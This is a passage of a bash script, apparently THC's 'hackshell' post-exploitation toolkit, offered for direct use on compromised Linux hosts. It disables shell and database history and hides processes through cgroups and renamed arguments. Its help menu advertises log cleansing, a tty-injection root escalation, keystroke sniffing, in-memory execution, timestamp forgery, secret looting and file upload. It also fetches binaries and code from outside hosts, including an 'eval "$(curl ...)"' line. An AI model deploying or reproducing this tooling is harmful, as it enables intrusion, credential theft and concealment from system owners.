if [ -f "${XHOME}/.keep" ]; then
HS_WARN "Keeping ${CDY}${XHOME}${CN}"
else
# Delete my pid file. rmdir will success only if dir is empty
# and no other hackshell instances are running. Last to exit one
# will call _hs_destruct.
rm -f "${XHOME}/.run/.$$" 2>/dev/null
rmdir "${XHOME}/.run" 2>/dev/null && _hs_destruct
fi
}
[ -z "$QUIET" ] && [ -t 1 ] && echo -e "${CW}>>>>> 📖 More tips at https://thc.org/tips${CN} 😘"
kill -9 $$
}
[ -z "$BASH" ] && TRAPEXIT() { hs_exit; } #zsh
### Functions (temporary)
hs_init_dl() {
local str
# Ignore TLS certificate. This is DANGEROUS but many hosts have missing ca-bundles or TLS-Proxies.
if which curl &>/dev/null; then
_HS_SSL_ERR="certificate "
dl() {
local opts=()
[ -n "$UNSAFE" ] && opts=("-k")
curl -fsSL "${opts[@]}" --connect-timeout 7 --retry 2 "${1:?}"
}
elif which wget &>/dev/null; then
_HS_SSL_ERR="is not trusted"
str="$(wget --help 2>&1)"
if [[ "$str" == *"connect-timeout"* ]]; then
_HS_WGET_OPTS=("--connect-timeout=7" "--dns-timeout=7")
elif [[ "$str" == *"-T SEC" ]]; then
_HS_WGET_OPTS=("-T" "7")
fi
dl() {
local opts=()
[ -n "$UNSAFE" ] && opts=("--no-check-certificate")
# Can not use '-q' here because that also silences SSL/Cert errors
wget -qO- "${opts[@]}" "${_HS_WGET_OPTS[@]}" "${1:?}"
}
elif [ -n "$HS_PY" ]; then
dl() { purl "$@"; }
elif which openssl &>/dev/null; then
dl() { surl "$@"; }
else
dl() { HS_ERR "Not found: curl, wget, python or openssl"; }
fi
}
hs_init() {
local a
local prg="$1"
local str
_hs_init_rootfs
[ -z "$BASH" ] && {
str="https://bin.pkgforge.dev/${HS_ARCH}/bash"
[[ "${HS_ARCH}" == i686 ]] && str='https://github.com/polaco1782/linux-static-binaries/raw/refs/heads/master/x86-i686/bash'
HS_WARN "Shell is not BASH. Try:
${CY}>>>>> ${CDC}curl -obash -SsfL '$str' && chmod 700 bash && exec ./bash -il"
sleep 2
}
[ -n "$BASH" ] && [ "${prg##*\.}" = "sh" ] && { HS_ERR "Use ${CDC}source $prg${CDR} instead"; sleep 2; exit 255; }
[ -n "$BASH" ] && {
str="$(command -v bash)"
[ -n "$str" ] && SHELL="${str}"
}
[ -z "$UID" ] && UID="$(id -u 2>/dev/null)"
[ -z "$USER" ] && USER="$(id -un 2>/dev/null)"
[ -n "$_HS_HOME_ORIG" ] && export HOME="$_HS_HOME_ORIG"
export _HS_HOME_ORIG="$HOME"
# ZSH compat MacOS
command -v setopt >/dev/null && setopt +o nomatch
# Do never ask to have a package installed
unset command_not_found_handle
# Favour python3 over python2
[ -z "${HS_PY}" ] && HS_PY="$(command -v python3)"
[ -z "${HS_PY}" ] && HS_PY="$(command -v python)"
[ -z "${HS_PY}" ] && HS_PY="$(command -v python2)"
HS_PY="${HS_PY##*/}"
unset TERM
toe -a 2>/dev/null | grep -qm1 'xterm-256color' && TERM="xterm-256color"
[ -z "$TERM" ] && TERM=xterm
export TERM
# ps to hide kernel threads (identical to '--ppid 2 -p 2 --deselect flwww')
export LIBPROC_HIDE_KERNEL=1
HS_ARCH="$(uname -m 2>/dev/null)"
[ -z "$HS_ARCH" ] && HS_ARCH="x86_64"
[ "$HS_ARCH" = "x86_64" ] && HS_ARCH_ALT="amd64"
[ "$HS_ARCH" = "aarch64" ] && HS_ARCH_ALT="arm64"
[ -z "$HS_ARCH_ALT" ] && HS_ARCH_ALT="$HS_ARCH"
# Old OpenSSL don't have -pbkdf2.
# _HS_SSL_OPTS=("-aes-256-cbc" "-pbkdf2" "-nosalt" "-k")
_HS_SSL_OPTS=("-aes-256-cbc" "-md" "sha256" "-nosalt" "-k")
_HS_GREP_COLOR_NEVER=()
echo test | grep --color=never -qF test 2>/dev/null && _HS_GREP_COLOR_NEVER=("--color=never")
[ -z "$NOPTY" ] && {
# Upgrade to PTY shell
[ ! -t 0 ] && _hs_mk_pty
# Set cols/rows if not set (==0)
[ -t 0 ] && _hs_try_resize
}
if [ -n "$BASH" ]; then
trap hs_exit EXIT SIGHUP SIGTERM SIGPIPE
else
trap hs_exit SIGHUP SIGTERM SIGPIPE
fi
ulimit -c 0 &>/dev/null # Disable core dumps
setsid --help 2>/dev/null | grep -Fqm1 -- --wait && _HS_SETSID_WAIT=1
HS_SSH_OPT=()
command -v ssh >/dev/null && {
str="$(\ssh -V 2>&1)"
[[ "$str" == OpenSSH_[67]* ]] && a="no"
HS_SSH_OPT+=("-oStrictHostKeyChecking=${a:-accept-new}")
# HS_SSH_OPT+=("-oUpdateHostKeys=no")
HS_SSH_OPT+=("-oUserKnownHostsFile=/dev/null")
# Even if 'ssh -Q' shows the key it sometimes complains that it cant use them.
# User can set SSH_NO_OLD before hs to disable old ciphers.
[ -z "$SSH_NO_OLD" ] && \ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -V 2>/dev/null && HS_SSH_OPT+=("-oKexAlgorithms=+diffie-hellman-group1-sha1")
[ -z "$SSH_NO_OLD" ] && \ssh -oHostKeyAlgorithms=+ssh-dss -V 2>/dev/null && HS_SSH_OPT+=("-oHostKeyAlgorithms=+ssh-dss")
[ -z "$SSH_NO_OLD" ] && \ssh -oCiphers=+aes128-cbc -V 2>/dev/null && HS_SSH_OPT+=("-oCiphers=+aes128-cbc")
[ -z "$SSH_NO_OLD" ] && \ssh -oCiphers=+3des-cbc -V 2>/dev/null && HS_SSH_OPT+=("-oCiphers=+3des-cbc")
HS_SSH_OPT+=("-oConnectTimeout=5")
HS_SSH_OPT+=("-oServerAliveInterval=30")
}
_hs_enc_init
# BusyBox timeout variant needs -t
command -v timeout >/dev/null && timeout -t0 sleep 0 &>/dev/null && HS_TO_OPTS=("-t")
hs_init_dl
}
# Filter: Show only IPv4 addresses
ipf() {
grep --color=never -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"
}
# Show CN and SAN of remote server
cn() {
local str
local x509
declare -f _hs_dep >/dev/null && {
_hs_dep openssl || return
_hs_dep sed || return
}
if [ $# -eq 0 ] && [ ! -t 0 ]; then
x509="$(openssl x509 -text)"
elif [ -s "$1" ]; then
x509="$(openssl x509 -text <"$1")"
else
x509="$(timeout "${HS_TO_OPTS[@]}" 4 openssl s_client -showcerts -connect "${1:-127.0.0.1}:${2:-443}" 2>/dev/null </dev/null)"
fi
# Extract CN
str="$(echo "$x509" | openssl x509 -noout -subject 2>/dev/null)"
[[ "$str" == "subject"* ]] && [[ "$str" =~ '[/ ,]{1}CN.*' ]] && {
str="$(echo "$str" | sed '/^subject/s/^.*CN.*=[ ]*//g')"
[ -n "$str" ] && echo "$str"
}
# Extract SAN
str="$(echo "$x509" | openssl x509 -noout -ext subjectAltName 2>/dev/null | grep -F DNS: | sed 's/\s*DNS://g' | sed 's/[^-a-z0-9\.\*,]//g')"
[ -n "$str" ] && echo "${str//,/$'\n'}"
}
_scan_single() {
local opt=("${2}")
[ -f "$2" ] && opt=("-iL" "$2")
# Redirect "Unable to find nmap-services" to /dev/null
nmap -Pn -p"${1}" --open -T4 --max-retries 3 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
# scan <port> <IP or file> ...
scan() {
local port
[ $# -lt 2 ] && { xhelp_scan; return 255; }
_hs_dep nmap || return
port="${1:?}"
shift 1
for ip in "$@"; do
_scan_single "$port" "$ip"
done
}
xnetstat() {
command -v ss >/dev/null && {
ss "$@"
return
}
echo >&2 "FIXME: Add awk_netstat.sh here. In the meantime try 'bin netstat'"
return 255
}
hs_init_alias_reinit() {
which curl &>/dev/null && curl --help 2>/dev/null | grep -iqm1 proto-default && alias curl="HOME=/dev/null curl --proto-default https"
# stop curl from creating ~/.pkt/nssdb
alias curl &>/dev/null || alias curl='HOME=/dev/null curl'
which wget &>/dev/null && wget --help 2>/dev/null | grep -Fqm1 -- --no-hsts && alias wget="wget --no-hsts"
unalias anew &>/dev/null
which anew &>/dev/null || alias anew=xanew
unalias netstat &>/dev/null
which netstat &>/dev/null || alias netstat=xnetstat
}
hs_init_alias() {
:
alias ssh="ssh ${HS_SSH_OPT[*]}"
alias scp="scp ${HS_SSH_OPT[*]}"
\vi --help 2>&1 | grep -Fqm1 -- -i && alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"
alias l='ls -Alh'
alias lt='ls -Alhrt'
alias lss='ls -AlhrS'
alias psg='ps alxwww | grep -i -E'
alias lsg='ls -Alh --color=always | grep -i -E'
alias cd..='cd ..'
alias ..='cd ..'
hs_init_alias_reinit
}
_hs_init_ghost() {
[ -n "${_HS_CG_GHOST}" ] && [ "${_HS_CG_GHOST}" != "NA" ] && return 0
[ "${_HS_CG_GHOST}" = "NA" ] && return 255
local cg_root="/sys/fs/cgroup"
# Check for cgroup v2
[ ! -f "${cg_root}/cgroup.procs" ] && cg_root="/sys/fs/cgroup/unified"
# Not every grep supports -P. Redirect to /dev/null to avoid error message.
[ ! -f "${cg_root}/cgroup.procs" ] && cg_root="$(mount -t cgroup2 | head -n1 | grep -oP '^cgroup2 on \K\S+' 2>/dev/null)"
# Check for cgroup v1
[ ! -f "${cg_root}/cgroup.procs" ] && cg_root="/sys/fs/cgroup/net_cls"
[ ! -f "${cg_root}/cgroup.procs" ] && cg_root="$(mount -t cgroup | grep net_cls | head -n1 | grep -oP '^cgroup on \K\S+' 2>/dev/null)"
[ -f "${cg_root}"/update/cgroup.procs ] && {
_HS_CG_GHOST="${cg_root}/update/cgroup.procs"
return 0
}
_HS_CG_GHOST="NA"
return 255
}
ghost() {
_hs_init_ghost || return
[ -z "${_HS_CG_GHOST}" ] && return
[ -z "${1}" ] && { echo -e "PIDs using GhostIP:\n$(cat "${_HS_CG_GHOST}")"; return; }
echo "${1:?}" >"${_HS_CG_GHOST}"
}
hs_init_shell() {
unset LC_TERMINAL LC_TERMINAL_VERSION
# Some old bash log to default location if HISTFILE is not set. Force to /dev/null
export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
#history -c 2>/dev/null
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
export PSQL_HISTORY=/dev/null
export SQLITE_HISTORY=/dev/null
export T=.$'\t''~?$?'".${UID}"
# PTY backdoor to not sniff when using sudo/su.
export LC_PTY=1
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
[ -z "$XHOME" ] && export XHOME="${TMPDIR}/${T}"
# Do not execute lootlight on every new shell
[ -z "$_HS_HUSH" ] && [ -d "${XHOME}" ] && _HS_HUSH=1
[ -z "$_HS_PATH_ORIG" ] && _HS_PATH_ORIG="$PATH"
[ "${PATH:0:2}" != ".:" ] && export PATH=".:${PATH}"
# Might already exist.
[ -d "$XHOME" ] && {
_hs_xhome_init
_hs_xhome_mark_running
}
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \e[36m\u\e[m@\e[32m\h:\e[33;1m\w \e[0;31m\$\e[m '
if [[ "$SHELL" == *"zsh" ]]; then
PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
if [ "$UID" -eq 0 ]; then
PS1='\[\033[31m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[35m\]\w\[\033[31m\]\$\[\033[m\] '
else
PS1='\[\033[33m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[35m\]\w\[\033[31m\]\$\[\033[m\] '
# PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
fi
}
hs_info() {
local now="$(date +%s)"
local mytty="$(tty 2>/dev/null)"
local u x t out
[ -z "$QUIET" ] && [ -z "$_HS_HUSH" ] && {
echo -e ">>> Type ${CDC}xhome${CN} to set HOME=${CDY}${XHOME}${CN}"
echo -e ">>> Tweaking environment variables to log less ${CN}[${CDG}DONE${CN}]"
echo -e ">>> Creating aliases to make commands log less ${CN}[${CDG}DONE${CN}]"
echo -e ">>> ${CG}Setup complete. ${CF}No data was written to the filesystem${CN}"
out="$(awk -F= 'toupper($1)~/PRETTY/ {gsub(/"/,"",$2); print $2}' /etc/*release 2>/dev/null | sort -u)"
[ -z "$out" ] && out="$(uname -s 2>/dev/null)"
[ -n "$out" ] && out+=" "
echo -en ">>> ${CDG}"
echo -n "${out}"
echo -e "${CG}${CF}[$(uname -r)]${CN}"
}
# Show if any active PTY
stat /dev/pts/* -c '%X %U %n' 2>/dev/null | while read -r x; do
u="${x#* }"
u="${u%% *}"
t="${x##* }"
[[ "${t}" == "$mytty" ]] && continue
[[ "${t##*/}" == "ptmx" ]] && continue
[[ "$((now - ${x%% *}))" -gt 3600 ]] && continue
echo -e "${CR}Active user: ${CDY}${u} ${CY}${CF}${t}"
ps a -o tty,pid,cmd 2>/dev/null | grep "${_HS_GREP_COLOR_NEVER[@]}" ^"${t#/dev/}" 2>/dev/null | cut -c -${COLUMNS:-80}
echo -en "${CN}"
done
# This will also init ghost()
_hs_init_ghost && echo -e "Ghost IP active. Try ${CDC}ghost <PID>${CN}"
}
# shellcheck disable=SC2120
# Output help
xhelp() {
_hs_no_tty_no_color
[[ "$1" == "scan" ]] && { xhelp_scan; _hs_init_color; return; }
[[ "$1" == "dbin" ]] && { xhelp_dbin; _hs_init_color; return; }
[[ "$1" == "tit" ]] && { xhelp_tit; _hs_init_color; return; }
[[ "$1" == "memexec" ]] && { xhelp_memexec; _hs_init_color; return; }
[[ "$1" == "bounce" ]] && { xhelp_bounce; _hs_init_color; return; }
echo -en "\
${CDC} xlog '1\.2\.3\.4' /var/log/auth.log ${CDM}Cleanse log file
${CDC} xsu username <cmd> ${CDM}Switch user ${CN}${CF}[xsu user id -u]
${CDC} xtmux ${CDM}'hidden' tmux ${CN}${CF}[e.g. wont show with 'tmux list-s']
${CDC} xssh & xscp ${CDM}Silently log in to remote host
${CDC} bounce <port> <dst-ip> <dst-port> ${CDM}Bounce tcp traffic to destination ${CN}${CF}[xhelp bounce]
${CDC} ghostip ${CDM}Originate from a non-existing IP
${CDC} burl http://ipinfo.io 2>/dev/null ${CDM}Request URL ${CN}${CF}[no https support]
${CDC} dl http://ipinfo.io 2>/dev/null ${CDM}Request URL using one of curl/wget/python/perl/openssl
${CDC} transfer <file> ${CDM}Upload a file or directory ${CN}${CF}[${HS_TRANSFER_PROVIDER}]
${CDC} enc <file> / dec <file> ${CDM}Encrypt/Decrypt file or stdin/stdout ${CN}${CF}[HS_TOKEN=${HS_TOKEN:-<secret>}]${CN}
${CDC} shred file ${CDM}Securely delete a file
${CDC} notime <file> touch foo.dat ${CDM}Execute a command at the <file>'s mtime
${CDC} notime_cp <src> <dst> ${CDM}Copy file. Keep birth-time, ctime, mtime & atime
${CDC} ctime <file> ${CDM}Set ctime to file's mtime ${CN}${CF}[find . -ctime -1]
${CDC} ttyinject ${CDM}Become root when root switches to ${USER:-this user}
${CDC} wfind <dir> [<dir> ...] ${CDM}Find writeable directories
${CDC} hgrep <string> ${CDM}Grep for pattern, output for humans ${CN}${CF}[hgrep password]
${CDC} find_subdomains .foobar.com ${CDM}Search files for sub-domain
${CDC} sub foobar.com ${CDM}Query crt.sh/ip-thc for all sub-domains
${CDC} dns foobar.com ${CDM}Resolv domain name to IPv4
${CDC} rdns 1.2.3.4 ${CDM}Reverse DNS from multiple public databases
${CDC} cn <IP> [<port>] ${CDM}Display TLS's CommonName of remote IP
${CDC} scan <port> [<IP or file> ...] ${CDM}TCP Scan a port + IP ${CN}${CF}[xhelp scan]
${CDC} hide <pid> ${CDM}Hide a process
${CDC} memexec <binary> [<args>] ${CDM}Start binary in memory ${CN}${CF}[xhelp memexec]
${CDC} tit <read/write> <pid> ${CDM}Sniff/strace the User Input [xhelp tit]
${CDC} np <directory> ${CDM}Display secrets with NoseyParker ${CN}${CF}[try |less -R]
${CDC} loot ${CDM}Display common secrets
${CDC} lpe ${CDM}Run linPEAS
${CDC} ws ${CDM}WhatServer - display server's essentials
${CDC} bin [<binary>] ${CDM}Download useful static binaries ${CN}${CF}[bin nmap]
${CDC} dbin ${CDM}Download static binary ${CN}${CF}[xhelp dbin]
${CDC} zapme [<name>] ${CDM}Hide args of current shell as <name> + all child processes
${CDC} xpty ${CDM}Show all terminals / logged in users
${CDC} lt, ltr, lss, lssr, psg, lsg, ... ${CDM}Common useful commands
${CDC} xhelp ${CDM}This help${CN}\n"
_hs_init_color
}
_hs_init_color
### Programm
hs_init "$0"
hs_init_alias
hs_init_shell
hs_info
[ -z "$QUIET" ] && {
### Check for obvious loots
[ -n "$_HS_HUSH" ] && echo -e ">>> Fast Mode. Type ${CDC}lootlight${CN} to loot."
[ -z "$_HS_HUSH" ] && {
echo -e ">>> Type ${CDC}loot${CN} or ${CDC}xhelp${CN} to get your started"
# xhelp
lootlight
# Warning if thc.org is used
[ -n "$_HSURLORIGIN" ] && HS_WARN "Better use: ' ${CDC}eval \"\$(curl -SsfL ${_HSURL})\"${CDM}'${CN}"
}
export _HS_HUSH=1
}
# unset all functions that are no longer needed.
unset -f hs_init hs_init_alias hs_init_dl hs_init_shell
unset SSH_CONNECTION SSH_CLIENT _HSURLORIGIN
# Exit with TRUE in case parent shell ues 'set -e':
: